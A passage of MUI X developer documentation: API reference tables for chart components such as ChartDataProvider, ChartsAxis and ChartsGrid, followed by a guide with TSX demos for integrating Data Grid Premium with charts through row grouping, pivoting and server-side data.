number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartContainer/ChartContainer.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartContainer/ChartContainer.tsx)

---

# Source: https://mui.com/x/api/charts/chart-data-provider-premium.md

# ChartDataProviderPremium API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Range Bar

## Import

```jsx
import { ChartDataProviderPremium } from '@mui/x-charts-premium/ChartDataProviderPremium';
// or
import { ChartDataProviderPremium } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| height | `number` | - | No |  |
| id | `string` | - | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| series | `Array<object>` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-premium/src/ChartDataProviderPremium/ChartDataProviderPremium.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-premium/src/ChartDataProviderPremium/ChartDataProviderPremium.tsx)

---

# Source: https://mui.com/x/api/charts/chart-data-provider-pro.md

# ChartDataProviderPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Composition](/x/react-charts/composition/)

## Import

```jsx
import { ChartDataProviderPro } from '@mui/x-charts-pro/ChartDataProviderPro';
// or
import { ChartDataProviderPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| height | `number` | - | No |  |
| id | `string` | - | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| series | `Array<object>` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartDataProviderPro/ChartDataProviderPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartDataProviderPro/ChartDataProviderPro.tsx)

---

# Source: https://mui.com/x/api/charts/chart-data-provider.md

# ChartDataProvider API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Composition](/x/react-charts/composition/)
- [Charts - Localization](/x/react-charts/localization/)
- [Charts - Plugins](/x/react-charts/plugins/)

## Import

```jsx
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
// or
import { ChartDataProvider } from '@mui/x-charts';
// or
import { ChartDataProvider } from '@mui/x-charts-pro';
// or
import { ChartDataProvider } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| experimentalFeatures | `{ preferStrictDomainInLineCharts?: bool }` | - | No |  |
| height | `number` | - | No |  |
| id | `string` | - | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| series | `Array<object>` | - | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| width | `number` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartDataProvider/ChartDataProvider.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartDataProvider/ChartDataProvider.tsx)

---

# Source: https://mui.com/x/api/charts/chart-image-export-options.md

# ChartImageExportOptions API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Image export](https://mui.com/x/react-charts/export/#export-as-image)

## Import

```jsx
import { ChartImageExportOptions } from '@mui/x-charts-pro'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| copyStyles | `boolean` | `true` | No |  |
| fileName | `string` | `The title of the document the chart belongs to` | No |  |
| nonce | `string` | - | No |  |
| onBeforeExport | `(iframe: HTMLIFrameElement) => Promise<void> \| void` | - | No |  |
| quality | `number` | `0.9` | No |  |
| type | `'image/png' \| string` | `'image/png'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/charts/chart-print-export-options.md

# ChartPrintExportOptions API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Print export](https://mui.com/x/react-charts/export/#print-export-as-pdf)

## Import

```jsx
import { ChartPrintExportOptions } from '@mui/x-charts-pro'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| copyStyles | `boolean` | `true` | No |  |
| fileName | `string` | `The title of the document the chart belongs to` | No |  |
| nonce | `string` | - | No |  |
| onBeforeExport | `(iframe: HTMLIFrameElement) => Promise<void> \| void` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/charts/chart-zoom-slider.md

# ChartZoomSlider API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Zoom and pan

## Import

```jsx
import { ChartZoomSlider } from '@mui/x-charts-pro/ChartZoomSlider';
// or
import { ChartZoomSlider } from '@mui/x-charts-pro';
```

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ChartZoomSlider/ChartZoomSlider.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ChartZoomSlider/ChartZoomSlider.tsx)

---

# Source: https://mui.com/x/api/charts/charts-axis-highlight.md

# ChartsAxisHighlight API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Highlighting](/x/react-charts/highlighting/)

## Import

```jsx
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';
// or
import { ChartsAxisHighlight } from '@mui/x-charts';
// or
import { ChartsAxisHighlight } from '@mui/x-charts-pro';
// or
import { ChartsAxisHighlight } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | root | Styles applied to the root element. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsAxisHighlight/ChartsAxisHighlight.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsAxisHighlight/ChartsAxisHighlight.tsx)

---

# Source: https://mui.com/x/api/charts/charts-axis-tooltip-content.md

# ChartsAxisTooltipContent API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Tooltip](/x/react-charts/tooltip/)

## Import

```jsx
import { ChartsAxisTooltipContent } from '@mui/x-charts/ChartsTooltip';
// or
import { ChartsAxisTooltipContent } from '@mui/x-charts';
// or
import { ChartsAxisTooltipContent } from '@mui/x-charts-pro';
// or
import { ChartsAxisTooltipContent } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsTooltip/ChartsAxisTooltipContent.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsTooltip/ChartsAxisTooltipContent.tsx)

---

# Source: https://mui.com/x/api/charts/charts-axis.md

# ChartsAxis API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Axis](/x/react-charts/axis/)

## Import

```jsx
import { ChartsAxis } from '@mui/x-charts/ChartsAxis';
// or
import { ChartsAxis } from '@mui/x-charts';
// or
import { ChartsAxis } from '@mui/x-charts-pro';
// or
import { ChartsAxis } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | bottom | Styles applied to the bottom axis. |
| - | directionX | Styles applied to x-axes. |
| - | directionY | Styles applied to y-axes. |
| - | id | Styles applied to the root element for the axis with the given ID.
Needs to be suffixed with the axis ID: `.${axisClasses.id}-${axisId}`. |
| - | label | Styles applied to the group containing the axis label. |
| - | left | Styles applied to the left axis. |
| - | line | Styles applied to the main line element. |
| - | right | Styles applied to the right axis. |
| - | root | Styles applied to the root element. |
| - | tick | Styles applied to ticks. |
| - | tickContainer | Styles applied to group including the tick and its label. |
| - | tickLabel | Styles applied to ticks label.

⚠️ For performance reasons, only the inline styles get considered for bounding box computation.
Modifying text size by adding properties like `font-size` or `letter-spacing` to this class might cause labels to overlap. |
| - | top | Styles applied to the top axis. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsAxis/ChartsAxis.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsAxis/ChartsAxis.tsx)

---

# Source: https://mui.com/x/api/charts/charts-brush-overlay.md

# ChartsBrushOverlay API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Brush](/x/react-charts/brush/)
- Charts - Zoom and pan

## Import

```jsx
import { ChartsBrushOverlay } from '@mui/x-charts/ChartsBrushOverlay';
// or
import { ChartsBrushOverlay } from '@mui/x-charts';
// or
import { ChartsBrushOverlay } from '@mui/x-charts-pro';
// or
import { ChartsBrushOverlay } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsBrushOverlay/ChartsBrushOverlay.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsBrushOverlay/ChartsBrushOverlay.tsx)

---

# Source: https://mui.com/x/api/charts/charts-clip-path.md

# ChartsClipPath API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Custom components](/x/react-charts/components/)

## Import

```jsx
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
// or
import { ChartsClipPath } from '@mui/x-charts';
// or
import { ChartsClipPath } from '@mui/x-charts-pro';
// or
import { ChartsClipPath } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| id | `string` | - | Yes |  |
| offset | `{ bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsClipPath/ChartsClipPath.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsClipPath/ChartsClipPath.tsx)

---

# Source: https://mui.com/x/api/charts/charts-grid.md

# ChartsGrid API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Bars](/x/react-charts/bars/)
- [Charts - Composition](/x/react-charts/composition/)
- [Charts - Lines](/x/react-charts/lines/)
- [Charts - Scatter](/x/react-charts/scatter/)

## Import

```jsx
import { ChartsGrid } from '@mui/x-charts/ChartsGrid';
// or
import { ChartsGrid } from '@mui/x-charts';
// or
import { ChartsGrid } from '@mui/x-charts-pro';
// or
import { ChartsGrid } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| horizontal | `bool` | - | No |  |
| vertical | `bool` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | horizontalLine | Styles applied to x-axes. |
| - | line | Styles applied to every line element. |
| - | root | Styles applied to the root element. |
| - | verticalLine | Styles applied to y-axes. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ChartsGrid/ChartsGrid.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ChartsGrid/ChartsGrid.tsx)

---

# Source: https://mui.com/x/react-data-grid/charts-integration.md

---
title: Data Grid and Charts integration
---

# Charts integration [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan') 🧪

Use the MUI X Charts to visualize data from the Data Grid.

Data Grid seamlessly integrates with [MUI X Charts](/x/react-charts/) for data visualization with dynamic Chart updates based on the Data Grid state changes (whether through the Data Grid API or user interactions).

:::warning
This feature is in preview. It is ready for production use, but its API, visuals and behavior may change in future minor or patch releases.

To use the feature, add `charts` experimental flag on top of other props described below.

```tsx
<DataGridPremium
  // ...other props
  experimentalFeatures={{
    charts: true,
  }}
/>
```

:::

This integration is possible via the `<GridChartsIntegrationContextProvider />` and `<GridChartsRendererProxy />` components from `@mui/x-data-grid-premium` and the `<ChartRenderer />` component from the `@mui/x-charts-premium` package.

Based on its internal models, the Grid calculates and stores the data in a format that is easy to use for chart rendering.
`<ChartRenderer />` reads that data and renders an appropriate chart component with props that depend on the configuration stored in the context.

## Implementing Charts and Data Grid integration

To enable chart integration, pass the `chartsIntegration` prop to the Grid and `<GridChartsPanel />` to the `chartsPanel` slot.
This enables the charts panel and makes it possible for the charts integration context provider state to receive updates.

```tsx
import { DataGridPremium, GridChartsPanel } from '@mui/x-data-grid-premium';
// ...

return (
  <DataGridPremium
    chartsIntegration
    slots={{
      chartsPanel: GridChartsPanel,
      // ...other slots
    }}
    // ...other props
  />
);
```

Wrap your Grid and chart renderer in a `<GridChartsIntegrationContextProvider />`.
Use `<GridChartsRendererProxy />` to connect the chart renderer to the Grid's state updates.

```tsx
import {
  DataGridPremium,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
} from '@mui/x-data-grid-premium';
import { ChartsRenderer } from '@mui/x-charts-premium/ChartsRenderer';
// ...

return (
  <GridChartsIntegrationContextProvider>
    <DataGridPremium
    // ...props
    />
    <GridChartsRendererProxy id="main" renderer={ChartsRenderer} />
  </GridChartsIntegrationContextProvider>
);
```

### Basic integration

The demo below shows all the basic elements needed to get the charts integration working.
Use `initialState` to set the initial configuration for the chart renderer.

```tsx
import { useDemoData } from '@mui/x-data-grid-generator';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';

export default function GridChartsIntegrationBasic() {
  const { data } = useDemoData({
    dataSet: 'Employee',
    rowLength: 20,
    editable: true,
  });

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 420, paddingBottom: 16 }}>
          <DataGridPremium
            {...data}
            showToolbar
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: configurationOptions,
              },
            }}
            initialState={{
              sidebar: {
                open: true,
                value: GridSidebarValue.Charts,
              },
              chartsIntegration: {
                charts: {
                  main: {
                    dimensions: ['name'],
                    values: ['salary'],
                    chartType: 'column',
                  },
                },
              },
            }}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <GridChartsRendererProxy id="main" renderer={ChartsRenderer} />
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

```

## Row grouping

You can integrate charts with grouped and aggregated data.
The Grid's grouping and aggregation states are reflected in the chart.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';
import { useDemoData } from '@mui/x-data-grid-generator';

// make sure that the commodity labels are not overlapping on the initial load
// this is just for the demo
// the logic needs an update to cover other possible configurations
const onRender = (
  type: string,
  props: Record<string, any>,
  Component: React.ComponentType<any>,
) => {
  if (type === 'pie') {
    return <Component {...props} />;
  }

  const axisProp = type === 'bar' ? 'yAxis' : 'xAxis';
  const adjustedProps = {
    ...props,
    [axisProp]: props[axisProp].map((axisProps: Record<string, any>) => ({
      ...axisProps,
      groups: axisProps.groups?.map(
        (axisGroup: { getValue: (value: any) => string }, index: number) => ({
          ...axisGroup,
          getValue: (value: string[]) => {
            const targetIndex = axisProps.groups.length - 1 - index;
            if (targetIndex === 0) {
              return value[0];
            }

            return value[targetIndex][0];
          },
        }),
      ),
    })),
  };

  return <Component {...adjustedProps} />;
};

export default function GridChartsIntegrationRowGrouping() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    editable: true,
  });

  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      ...data.initialState,
      rowGrouping: {
        ...data.initialState?.rowGrouping,
        model: ['status', 'commodity'],
      },
      aggregation: {
        ...data.initialState?.aggregation,
        model: {
          filledQuantity: 'avg',
          feeRate: 'sum',
        },
      },
      sidebar: {
        open: true,
        value: GridSidebarValue.Charts,
      },
      chartsIntegration: {
        charts: {
          main: {
            dimensions: ['status', 'commodity'],
            values: ['filledQuantity', 'feeRate'],
            chartType: 'column',
          },
        },
      },
    },
  });

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 420, paddingBottom: 16 }}>
          <DataGridPremium
            {...data}
            showToolbar
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: configurationOptions,
              },
            }}
            initialState={initialState}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <GridChartsRendererProxy
          id="main"
          renderer={ChartsRenderer}
          onRender={onRender}
        />
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

```

## Pivoting

[Pivoting](/x/react-data-grid/pivoting/) creates columns dynamically, based on the pivoting model.
The names of those columns are determined by the values used to generate them, which makes it impossible to initialize `values` with those values.
Use the [`updateChartValuesData()`](/x/api/data-grid/grid-api/#grid-api-prop-updateChartValuesData) to update the chart's value datasets after the columns are created.

```tsx
const apiRef = useGridApiRef();

React.useEffect(() => {
  const handleColumnVisibilityModelChange = () => {
    // Get dynamically created columns
    const unwrappedGroupingModel = Object.keys(
      gridColumnGroupsUnwrappedModelSelector(apiRef),
    );
    // Update chart value datasets
    apiRef.current?.updateChartValuesData(
      'main',
      unwrappedGroupingModel
        .filter((field) => field.endsWith('quantity'))
        .slice(0, 5)
        .map((field, index) => ({ field, hidden: index >= 3 })),
    );
  };
  return apiRef.current?.subscribeEvent(
    'columnVisibilityModelChange',
    handleColumnVisibilityModelChange,
  );
}, [apiRef]);
```

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  gridColumnGroupsUnwrappedModelSelector,
  GridEventListener,
  GridPivotModel,
  useGridApiRef,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function GridChartsIntegrationPivoting() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 1000,
    editable: true,
  });
  const apiRef = useGridApiRef();

  const pivotModel: GridPivotModel = {
    rows: [{ field: 'commodity' }],
    columns: [
      { field: 'maturityDate-year', sort: 'asc' },
      { field: 'maturityDate-quarter', sort: 'asc' },
    ],
    values: [
      { field: 'quantity', aggFunc: 'sum' },
      { field: 'feeRate', aggFunc: 'avg' },
    ],
  };

  const initialState = {
    ...data.initialState,
    pivoting: {
      model: pivotModel,
      enabled: true,
    },
    chartsIntegration: {
      charts: {
        main: {
          dimensions: ['commodity'],
          chartType: 'column',
        },
      },
    },
  };

  const hasInitializedPivotingSeries = React.useRef(false);
  React.useEffect(() => {
    const handleColumnVisibilityModelChange: GridEventListener<
      'columnVisibilityModelChange'
    > = () => {
      if (!apiRef.current || hasInitializedPivotingSeries.current) {
        return;
      }

      const unwrappedGroupingModel = Object.keys(
        gridColumnGroupsUnwrappedModelSelector(apiRef),
      );
      // wait until pivoting creates column grouping model
      if (unwrappedGroupingModel.length === 0) {
        return;
      }

      hasInitializedPivotingSeries.current = true;
      // pick up the first 5 dyamically created columns with quantity in the name and enable first 3
      apiRef.current.updateChartValuesData(
        'main',
        unwrappedGroupingModel
          .filter((field) => field.endsWith('quantity'))
          .slice(0, 5)
          .map((field, index) => ({ field, hidden: index >= 3 })),
      );
    };

    return apiRef.current?.subscribeEvent(
      'columnVisibilityModelChange',
      handleColumnVisibilityModelChange,
    );
  }, [apiRef]);

  return (
    <GridChartsIntegrationContextProvider>
      <div style={{ gap: 32, width: '100%' }}>
        <div style={{ height: 575, paddingBottom: 16 }}>
          <DataGridPremium
            {...data}
            apiRef={apiRef}
            showToolbar
            chartsIntegration
            slots={{
              chartsPanel: GridChartsPanel,
            }}
            slotProps={{
              chartsPanel: {
                schema: configurationOptions,
              },
            }}
            initialState={initialState}
            checkboxSelection
            columnGroupHeaderHeight={35}
            experimentalFeatures={{
              charts: true,
            }}
          />
        </div>
        <GridChartsRendererProxy id="main" renderer={ChartsRenderer} />
      </div>
    </GridChartsIntegrationContextProvider>
  );
}

```

## Server-side data

The following demo shows charts integration with the grid using [Server-side data](/x/react-data-grid/server-side-data/).

```tsx
import * as React from 'react';
import { useMockServer } from '@mui/x-data-grid-generator';
import {
  DataGridPremium,
  GridChartsPanel,
  GridChartsIntegrationContextProvider,
  GridChartsRendererProxy,
  GridSidebarValue,
  useKeepGroupedColumnsHidden,
  GridDataSource,
  useGridApiRef,
  GridPivotModel,
  GridEventListener,
  gridColumnGroupsUnwrappedModelSelector,
  gridPivotModelSelector,
  DataGridPremiumProps,
} from '@mui/x-data-grid-premium';
import {
  ChartsRenderer,
  configurationOptions,
} from '@mui/x-charts-premium/ChartsRenderer';

const initialPivotModel: GridPivotModel = {
  rows: [{ field: 'commodity' }],
  columns: [{ field: 'incoTerm' }],
  values: [{ field: 'quantity', aggFunc: 'sum' }],
};

const aggregationFunctions = {
  sum: { columnTypes: ['number'] },
  avg: { columnTypes: ['number'] },
  min: { columnTypes: ['number', 'date', 'dateTime'] },
  max: { columnTypes: ['number', 'date', 'dateTime'] },
  size: {},
};

const pivotingColDef: DataGridPremiumProps['pivotingColDef'] = (
  originalColumnField,
  columnGroupPath,
) => ({
  field: columnGroupPath.concat(originalColumnField).join('>->'),
});

export default function GridChartsIntegrationDataSource() {
  const apiRef = useGridApiRef();

  const { fetchRows, initialState, columns } = useMockServer(
    {
      rowLength: 1000,
      dataSet: 'Commodity',
      maxColumns: 20,
    },
    { useCursorPagination: false },
  );

  const dataSource: GridDataSource = React.useMemo(() => {
    return {
      getRows: async (params) => {
        const urlParams = new URLSearchParams({
          paginationModel: JSON.stringify(params.paginationModel),
          filterModel: JSON.stringify(params.filterModel),
          sortModel: JSON.stringify(params.sortModel),
          groupKeys: JSON.stringify(params.groupKeys),
          groupFields: JSON.stringify(params.groupFields),
          aggregationModel: JSON.stringify(params.aggregationModel),
          pivotModel: JSON.stringify(params.pivotModel),
        });
        const getRowsResponse = await fetchRows(
          `https://mui.com/x/api/data-grid?${urlParams.toString()}`,
        );
        return {
          rows: getRowsResponse.rows,
          rowCount: getRowsResponse.rowCount,
          aggregateRow: getRowsResponse.aggregateRow,
          pivotColumns: getRowsResponse.pivotColumns,
        };
      },
      getGroupKey: (row) => row.group,
      getChildrenCount: (row) => row.descendantCount,
      getAggregatedValue: (row, field) => row[field],
    };
  }, [fetchRows]);

  const initialStateUpdated = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
